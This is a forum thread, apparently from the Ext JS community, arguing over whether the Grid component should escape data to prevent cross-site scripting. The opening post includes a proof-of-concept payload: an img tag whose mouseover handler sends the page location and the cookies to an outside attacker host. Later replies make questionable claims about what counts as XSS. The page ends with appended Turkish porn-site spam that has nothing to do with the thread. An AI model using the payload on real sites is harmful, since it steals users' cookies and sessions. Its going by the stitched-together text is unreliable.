Hybrid View

  1. #1
    Ext User
    Join Date
    Apr 2007
    Posts
    14
    Vote Rating
    0
    Alan Knowles is on a distinguished road

      0  

    Post [Security] XSS attacks for Extjs Applications - critical warning

    [Security] XSS attacks for Extjs Applications - critical warning


    While I've not examined Lists yet, Grid is highly susceptible to XSS attacks. Due to it's lack of escaping of data rendered into the page. String.format(), which 'on the face of it looks like it might solve it' does nothing to reduce this problem.

    Here a proof of concept.
    -> there is a user comment form on a website. which comments can be posted:
    -> data is assumed to be just raw text, and is stored in the database 'As is'.
    -> Back end application uses ExtJs to render list of new comments using JSON to just send the data (escaped correctly for JSON) to the Grid.

    Grid renders the data WITHOUT escaping it. - This should not be the default behaviour.
    eg. posted data contains:
    <img src="about:blank" width=10 height=10
    onMouseOver="this.src=http://myfavourate.password.stealer/site=document.location
    +passwords=document.cookies">

    This application layout is correct, as ExtJS is the presentation layer and all the the other steps should not be munging the data.

    Suggested Changes:
    Code:
    String.format=  function(format) {
        var args = Array.prototype.slice.call(arguments, 1);
        return format.replace(/\{(\d+)\}/g, function(m, i){
           
            var e = document.createTextNode( args[i]  );
            var ew = document.createElement('a');
            ew.appendChild(e);
            return ew.innerHTML;
        });
    }
    
    Ext.grid.ColumnModel.defaultRenderer = function(value){
    	if(typeof value == "string" && value.length < 1){
    	    return " ";
    	}
        return String.format('{0}',value);
            
    };

  2. #2
    Sencha - Community Support Team mystix's Avatar
    Join Date
    Mar 2007
    Location
    Singapore
    Posts
    6,236
    Vote Rating
    5
    mystix will become famous soon enough

      0  

    Default


    http://www.sencha.com/forum/showthread.php?t=8887

    though it's a good suggestion, it doesn't constitute a bug.
    this is more of an enhancement request.

    [moving this to the Prerelease forum]

  3. #3
    Sencha User jack.slocum's Avatar
    Join Date
    Mar 2007
    Location
    Tampa, FL
    Posts
    6,955
    Vote Rating
    17
    jack.slocum will become famous soon enough jack.slocum will become famous soon enough

      0  

    Default


    It's not the view layer's job to do data security cleanup. In fact, doing so there could have a huge negative impact on performance of your application. That should be on an entirely different layer. I would recommend that when you do validation of data entered, you also do clean up to remove any insecure content.
    Jack Slocum
    Ext JS Founder
    Original author of Ext JS 1, 2 & 3.
    Twitter: @jackslocum
    jack@extjs.com

  4. #4
    Sencha Premium Member
    Join Date
    Apr 2007
    Posts
    65
    Vote Rating
    1
    Hani is on a distinguished road

      0  

    Default


    I agree with you Alan. Here's a thread about the same issue: http://extjs.com/forum/showthread.php?t=7782

    The reason its a valid XSS attack is that this isnt a matter of the user submitting something and the server then dealing with it and not cleaning it up; the code never gets to the server because users are able to execute arbitrary js in the context of the page.

    Ext guys, why dont we flip the argument around, can anyone think of a single valid usecase for NOT escaping this content? Why would a user ever want to specify markup in an input field? (sure, I can think of contrived cases, but nothing that actually happens in real life!)

  5. #5
    Sencha - Community Support Team JeffHowden's Avatar
    Join Date
    Mar 2007
    Location
    Forest Grove, OR
    Posts
    1,038
    Vote Rating
    1
    JeffHowden is on a distinguished road

      2  

    Default


    Quote Originally Posted by Hani View Post
    The reason its a valid XSS attack is that this isnt a matter of the user submitting something and the server then dealing with it and not cleaning it up; the code never gets to the server because users are able to execute arbitrary js in the context of the page.
    Executing arbitrary JS in the context of your page view, does not constitute an XSS attach that should be of concern. Further, your backend system should be built such that incoming data is scrubbed, cleansed, validated, etc. The presentation layer, or more specifically a presentation layer that's open for adjustments by the end user (via something like Firebug), cannot and should not be relied upon to offer protection against XSS as that protection can be easily compromised.

    Quote Originally Posted by Hani View Post
    Ext guys, why dont we flip the argument around, can anyone think of a single valid usecase for NOT escaping this content? Why would a user ever want to specify markup in an input field? (sure, I can think of contrived cases, but nothing that actually happens in real life!)
    In my experience, markup has lots of valid usecases in fields. In fact, in a CMS, it's almost a requirement to support markup in nearly every input field that accepts non-datetime/non-numeric data.
    Jeff Howden
    Ext JS - Support Team Volunteer
    jeff@extjs.com

    Any and all code samples that are authored by me and posted on the Ext forums or website are hereby released into the public domain and I release anyone or entity of liability by using said code samples unless explicitly stated otherwise.

    Opinions are mine and not necessarily endorsed by Ext, LLC. Please do not contact me directly for assistance unless requested by me.

  6. #6
    Ext User 72's Avatar
    Join Date
    Apr 2007
    Location
    Czech republic, EU
    Posts
    152
    Vote Rating
    0
    72 is on a distinguished road

      0  

    Thumbs up


    Jeff thats logical and explains a lot.
    72

  7. #7
    Sencha Premium Member
    Join Date
    Apr 2007
    Posts
    65
    Vote Rating
    1
    Hani is on a distinguished road

      0  

    Default


    Quote Originally Posted by JeffHowden View Post
    In my experience, markup has lots of valid usecases in fields. In fact, in a CMS, it's almost a requirement to support markup in nearly every input field that accepts non-datetime/non-numeric data.
    Err, the only sane usecase for this would be in textareas, a textfield that allows markup would be pretty stupid and bad design imho, since all you'd be able to do is have one liners.

    Likewise for a grid edit, I still maintain that it makes no sense whatsoever to allow inline markup by the user in such a form (and this is for a CMS too).

  8. #8
    Sencha - Community Support Team JeffHowden's Avatar
    Join Date
    Mar 2007
    Location
    Forest Grove, OR
    Posts
    1,038
    Vote Rating
    1
    JeffHowden is on a distinguished road

      0  

    Default


    Quote Originally Posted by Hani View Post
    Err, the only sane usecase for this would be in textareas, a textfield that allows markup would be pretty stupid and bad design imho, since all you'd be able to do is have one liners.
    The only sane usecase is textareas? Whether you agree with me or not, my point that markup in fields (regardless of type), is still valid.

    Quote Originally Posted by Hani View Post
    Likewise for a grid edit, I still maintain that it makes no sense whatsoever to allow inline markup by the user in such a form (and this is for a CMS too).
    Again, we're going to agree to disagree. I don't feel anywhere near as passionate about disallowing markup in a grid and can think of plenty of cases where it would be helpful for a client, should they choose to use it.

    You skirted my strongest point though and that's the [in]security of having the client-side framework even bother with protecting against markup in fields. Did you choose to not respond to that because you think it's invalid or because you don't have a rebuttal to it?
    Jeff Howden
    Ext JS - Support Team Volunteer
    jeff@extjs.com

    Any and all code samples that are authored by me and posted on the Ext forums or website are hereby released into the public domain and I release anyone or entity of liability by using said code samples unless explicitly stated otherwise.

    Opinions are mine and not necessarily endorsed by Ext, LLC. Please do not contact me directly for assistance unless requested by me.

  9. #9
    Sencha Premium Member
    Join Date
    Apr 2007
    Posts
    65
    Vote Rating
    1
    Hani is on a distinguished road

      0  

    Default


    Quote Originally Posted by JeffHowden View Post
    You skirted my strongest point though and that's the [in]security of having the client-side framework even bother with protecting against markup in fields. Did you choose to not respond to that because you think it's invalid or because you don't have a rebuttal to it?
    I'm not ignoring it, because this argument to me seems to imply that XSS attacks dont exist, which is not something I'm willing to debate (because this isnt the forum for it). While on one level I do agree with you, the world at large doesnt, and has decided that XSS constitutes a security hole, and merits security advisories (and I've received a few, so I know!)

    The issue isnt whether scrubbing is done server side or not, its that there's no trivial way of making sure that this cleanup is done both server and client side.

    As you said though, we can agree to disagree, and I can but hope that enough users run into this that it merits reconsideration.

  10. #10
    Ext User haibijon's Avatar
    Join Date
    Mar 2007
    Posts
    105
    Vote Rating
    0
    haibijon is on a distinguished road

      0  

    Default


    Quote Originally Posted by Hani View Post
    The reason its a valid XSS attack is that this isnt a matter of the user submitting something and the server then dealing with it and not cleaning it up; the code never gets to the server because users are able to execute arbitrary js in the context of the page.
    This does not constitute an XSS attack, since it does not affect another users page, it only affects your page view. If it were a cross site scripting attack, it would require the unescaped data to be passed back to the server, and subsequently served to someone else. Cross site scripting attacks have much more to do with the server side unescaped data, than the client side unescaped data. Why should the presentation layer have to worry about the data, that's not its job.


    Quote Originally Posted by Alan Knowles View Post
    We work with raw data in all places, the only place where it's not 'raw' is where it is displayed, in which case it should be escaped. - I would surprised if
    http://www.yui-ext.com/forum2/topics-remote.php escapes data.. - opening up all cookies in this forum for usage by a malicious attacker..
    Again, you shouldn't be passing raw data to the presentation layer if can't simply display it, you should be passing the data as it should be displayed, the presentation layer really shouldn't have to massage the data or muck around with it. (Ideally)


    Quote Originally Posted by Alan Knowles View Post
    But again, not having this as default behaviour is not only a little unexpected, but very risky.
    What other presentation tier framework has a default behaviour of escaping data? Escaping should be done on an as-needed basis. Assuming that data will be escaped is much more detrimental than not (which I would argue is extremely risky), and leads to far more XSS attacks than when an engineer assumes that the input is never reliable or trustworthy. I for one would rather assume the data isn't escaped, and use escaping methods when needed, you know, the same way you do in most languages (Java, PHP, etc)

    This isn't a cross site scripting issue, and I don't know why you guys are hung up on doing all this client-side escaping when it would take 2 minutes to disable via firebug. Sure the implementation is easy, but it doesn't add any more security.

Turkiyenin en sevilen filmlerinin yer aldigi xnxx internet sitemiz olan ve porn sex tarzi bir site olan mobil porno izle sitemiz gercekten dillere destan bir durumda herkesin sevdigi bir site olarak tarihe gececege benziyor. Sitenin en belirgin ozelliklerinden birisi de Turkiyede gercekten kaliteli ve muntazam, duzenli porno izle siteleri olmamasidir. Bu yuzden iste. Ayrica en net goruntu kalitesine sahip adresinde yayinlanmaktadir. Mesela diğer sitelerimizden bahsedecek olursak, en iyi hd porno video arşivine sahip bir siteyiz. "The Best anal porn videos and slut anus, big asses movies set..." hd porno faketaxi